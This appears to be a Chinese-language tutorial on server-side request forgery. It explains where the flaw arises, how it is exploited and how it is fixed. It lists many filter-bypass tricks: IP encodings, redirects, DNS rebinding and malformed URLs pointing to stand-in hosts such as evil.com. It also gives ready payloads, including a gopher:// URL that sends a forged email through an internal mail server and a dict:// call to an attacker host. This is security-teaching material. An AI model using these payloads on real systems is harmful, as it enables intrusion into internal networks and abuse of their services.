跨站请求伪造(SSRF)
SSRF漏洞简介
SSRF(服务端请求伪造)是一种利用漏洞未在服务端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
漏洞原理
通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。常见漏洞产生函数:1.curl; 2.file_get_contents; 3. fsockopen。
漏洞危害
1、扫描内网开放服务
2、向内部任意主机的任意端口发送payload来攻击内网服务
3、DOS攻击(请求大文件,保持连接)
4、攻击内网的web应用
5、利用file、gopher、dict协议读取本地文件、执行命令
漏洞检测
1、分享功能
2、图片加载与下载
3、图片、文章收藏功能
4、转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
5、云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
6、网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
7、数据库内置功能:数据库的比如mongodb的copyDatabase函数
8、邮件系统:比如接收邮件服务器地址
9、编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
10、未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
11、从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
12、利用关键字查找
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
...
漏洞利用
1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)
SSRF Bypass
1、如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。经过测试发现新浪,百度的短地址服务并不支持IP模式,所以这里使用的是http://tinyurl.com所提供的短地址服务,如下图所示:
同样的,我们也可以自行写一个跳转的服务接口来实现类似的功能。
当请求遭遇404的时候,可以尝试一下跳转。
<?php
header('Location: http://ip:port')
?>
然后使用nc 监听该端口的请求。
2、利用进制转换,可以是十六进制,八进制等。 115.239.210.26 >>> 16373751032 首先把这四段数字给分别转成16进制,结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
3、利用句号。如:127。0。0。1>>> 127.0.0.1
4、IP地址省略,如127.1 >>> 127.0.0.1
5、利用@,比如 domain@127.0.0.1
6、利用短地址,比如:https://4m.cn/ejr0w
7、利用特殊域名触发DNS解析,比如:http://127.0.0.1.xip.io
8、利用特殊地址,比如:http://0/ >>> 127.0.0.1
9、利用Enclosed alphanumerics Unicode字符,
比如①②⑦.⓿.⓿.①
10、利用[::],比如:http://[::]:80/
11、修改报文内容,比如:把"type=file"修改为"type=url",
12、利用域名解析,这个需要设置域名指向
在域名上设置A记录,指向127.0.1
13、利用协议,比如:ssrf.php?url=sftp://domain:xxx/
Dict:// dict://<user-auth>@<host>:<port>/d:<word> ssrf.php?url=dict://attacker:11111/ SFTP:// ssrf.php?url=sftp://example.com:11111/ TFTP:// ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET LDAP:// ssrf.php?url=ldap://localhost:11211/%0astats%0aquit Gopher:// ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
14、利用302跳转
15、利用IPV6
16、利用组合,各种方法组合使用
17、DNS Rebinding
对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。
18、畸形构造绕过
a. 单斜线"/"绕过 https://www.xxx.com/redirect.php?url=/www.evil.com b. 缺少协议绕过 https://www.xxx.com/redirect.php?url=//www.evil.com c. 多斜线"/"前缀绕过 https://www.xxx.com/redirect.php?url=///www.evil.com https://www.xxx.com/redirect.php?url=www.evil.com d. 利用"@"符号绕过 https://www.xxx.com/redirect.php?url=https://www.xxx.com@www.evil.com e. 利用反斜线"\"绕过 https://www.xxx.com/redirect.php?url=https://www.evil.com\https://www.xxx.com/ f. 利用"#"符号绕过 https://www.xxx.com/redirect.php?url=https://www.evil.com#https://www.xxx.com/ g. 利用"?"号绕过 https://www.xxx.com/redirect.php?url=https://www.evil.com?www.xxx.com h. 利用"\\"绕过 https://www.xxx.com/redirect.php?url=https://www.evil.com\\www.xxx.com i. 利用"."绕过 https://www.xxx.com/redirect.php?url=.evil https://www.xxx.com/redirect.php?url=.evil.com j.重复特殊字符绕过 https://www.xxx.com/redirect.php?url=///www.evil.com//.. https://www.xxx.com/redirect.php?url=www.evil.com//..
漏洞修复
1.禁止跳转
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
5.限制请求的端口为http常用的端口,比如 80、443、8080、8090
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。